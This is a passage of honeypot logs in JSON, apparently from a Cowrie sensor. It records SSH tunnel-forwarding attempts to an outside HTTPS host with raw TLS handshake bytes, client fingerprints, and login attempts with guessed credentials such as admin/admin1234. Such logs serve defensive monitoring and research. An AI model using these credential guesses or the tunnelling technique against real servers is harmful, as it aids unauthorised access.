no-cache\\r\\n\\r\\n_=Z3U8M2lwS1ZsKmt9bSRjTg%3D%3D59yatDT31UTJKVCV%2FjuJHdlumWzgzxoMYNBLJj9yrFoq2e3JBUTIWKAeBxNqem8g9E3FaPJwtEGedTkxnXRx422Uhc4sL4yrA%2FG5xhqzEscxbD7LhblthHImgglqCHDTCb3wHPh6CMUFCUvZidC164umEUJ3Qf5HuD%2BYzlg7BhdO3DI2Oe9u2RABETHaqaaxICWJnnxV2jon2AlNFs9qaNNNEy8TDKo9BkzAavwSRN3aPbOdEROVsHSrD8NzYpjD70Tq6MYS1AS3ce9MiPhsct3mGzql0U5bCgqkZDhusA58ENPDD4UJO1OhK4PeoEPEuQ6A8RfPG7XPJ3nQHZffSsRT0sahzOXnkBtKUtJUi%2BNqN6btoBieg8%2FFq8kZn3i1nbCYTyQIdqJ%2BklFO4yaD3htYdUvw%2FuT5ZyVuLUofgU2XTN1IPmwgOH%2B0UeHsW56MYwtY3WqBj7zSdNqAPNJYwKf01OwTLs%2BESJyQAjYOve8ZyvyVRR5CeWPHtTtZOG2UZTt%2Bgx22BVE3e3W6QLb77nDw6ewUH6CNREgbObAW%2F6hfAtw5GMyrywiwRB5bvI726LHGOCLS%2FlJUuBv%2FK0mcaiLQwEuT0D8bihRdg233hr6b%2B7jmDRfnSy9GFSICn2DthwaMjFvHTRPL25PKpoinbSbjZkcLX0mBubj3D3KhTjrMLDKkQ8O1Dcg9o9C2pHJK8wwlxQkx3fJazjVMxCXZlSpCXmdhZ7qli4yK%2BlNupc5J1AN9mC60Wn9u%2BTHJ9fBFpBSZ2oDRG5mW7AGunHk%2FwdIso8YPqtAjmMKNZ5sejx9squZeh6UNEhXItkB7nf9wvjP6DpIOmVxwhfEI9JPVGH%2BXBWtTUn2ZaltnS2eG1c477gVqwEFLWtNyw5q2udiaMUb4PkyMIL9kTIXKqQEzeLvwvVthgz5nollxyJBqeMRqzRsJS97eorEwA8JzrzGxjyKD4rITu2n8Rc4H5heb0kw2sOkNhg%2B8F4Qu0W26dNjMEa5OjPzr2evnsXLlG8z%2BJnnTnU8AliGOVbf1bj37yfPZsQSSbKOwTzHWDyvipIpURWjjFkwOheD3sGuSs9Uu'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:13.818049Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:15.648567Z","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:15.706800Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\xaf\"\\x05\\x87\\x8f3Z\\x00y\\xdb\\x7f\\xecv3^\\r\\xa4f\\x82\\xad\\xda\\xe2$El9\\xa0\\xc3\\x95\\xc0\\x06 \\xee\\xc4\\xdb\\xa7]S\\x84\\x1a\\xad\\xee@\\x85MVef\\xb7\\xb0AI\\x08\\x1f\\xe03\\xe5\\x8e\\xb8,8\\x15\\x90v\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 ?h\\xf2\\xa6\\xc0\\x1fY\\xa4\\xa2$\\x1b\\xf1\\x86\\xab\\xd3\\xfa\\xa1\\xf9E}\\xeb=\\x90\\x93/\\xd5E\\xc7\\x10\\xee\\xa4\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\xaf\"\\x05\\x87\\x8f3Z\\x00y\\xdb\\x7f\\xecv3^\\r\\xa4f\\x82\\xad\\xda\\xe2$El9\\xa0\\xc3\\x95\\xc0\\x06 \\xee\\xc4\\xdb\\xa7]S\\x84\\x1a\\xad\\xee@\\x85MVef\\xb7\\xb0AI\\x08\\x1f\\xe03\\xe5\\x8e\\xb8,8\\x15\\x90v\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 ?h\\xf2\\xa6\\xc0\\x1fY\\xa4\\xa2$\\x1b\\xf1\\x86\\xab\\xd3\\xfa\\xa1\\xf9E}\\xeb=\\x90\\x93/\\xd5E\\xc7\\x10\\xee\\xa4\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:15.711035Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:15.772534Z","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:15.833615Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\xafzY\\x8ag\\x1b\\xd4\\xdb9GH&l&\\xa7\\x1a!X\\xa2Z=\\xf8C\\xdd\\xcf\\xfc\\x98\\\\xw\\xe4 \\xb6~\\x19\\xfc\\x88f\\xaf-\\xc5\\x89\\x8d0~\\xb6J\\x1e\\x810\\xcd\\xee\\x9b\\xdb\\x9c\\x1a\\xc7\\x98\\xe4+\\x11+~+\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b\\xe9\\'{c\\x18\\x9e\\xbf\\xbeR\\xcfI\\x19\\x17\\x8bO\\r\\xa2yD#\\xe4\\xe1^\\xbb\\xe3\\xf2\\x16\\xf8\\xc7\\x1ai\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\xafzY\\x8ag\\x1b\\xd4\\xdb9GH&l&\\xa7\\x1a!X\\xa2Z=\\xf8C\\xdd\\xcf\\xfc\\x98\\\\xw\\xe4 \\xb6~\\x19\\xfc\\x88f\\xaf-\\xc5\\x89\\x8d0~\\xb6J\\x1e\\x810\\xcd\\xee\\x9b\\xdb\\x9c\\x1a\\xc7\\x98\\xe4+\\x11+~+\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8b\\xe9\\'{c\\x18\\x9e\\xbf\\xbeR\\xcfI\\x19\\x17\\x8bO\\r\\xa2yD#\\xe4\\xe1^\\xbb\\xe3\\xf2\\x16\\xf8\\xc7\\x1ai\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:15.836596Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":50583,"dst_ip":"10.17.0.5","dst_port":22,"session":"46bfdb3004cc","protocol":"ssh","message":"New connection: 173.208.188.210:50583 (10.17.0.5:22) [session: 46bfdb3004cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:18.890798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:18.894783Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:19.074251Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":48316,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed407039010e","protocol":"ssh","message":"New connection: 103.60.242.169:48316 (159.203.135.109:22) [session: ed407039010e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:20.129687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:20.133433Z","src_ip":"103.60.242.169","session":"ed407039010e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:20.385167Z","src_ip":"103.60.242.169","session":"ed407039010e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"fff","message":"login attempt [test/fff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:21.428771Z","src_ip":"103.60.242.169","session":"ed407039010e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":61748,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd028cadc1a2","protocol":"ssh","message":"New connection: 113.164.152.20:61748 (10.17.0.5:22) [session: dd028cadc1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:21.849478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:21.853370Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:22.044316Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:22.144400Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.61065220832825,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:22.627129Z","src_ip":"128.199.8.54","session":"fb45e2f2e4d6","protocol":"telnet"}
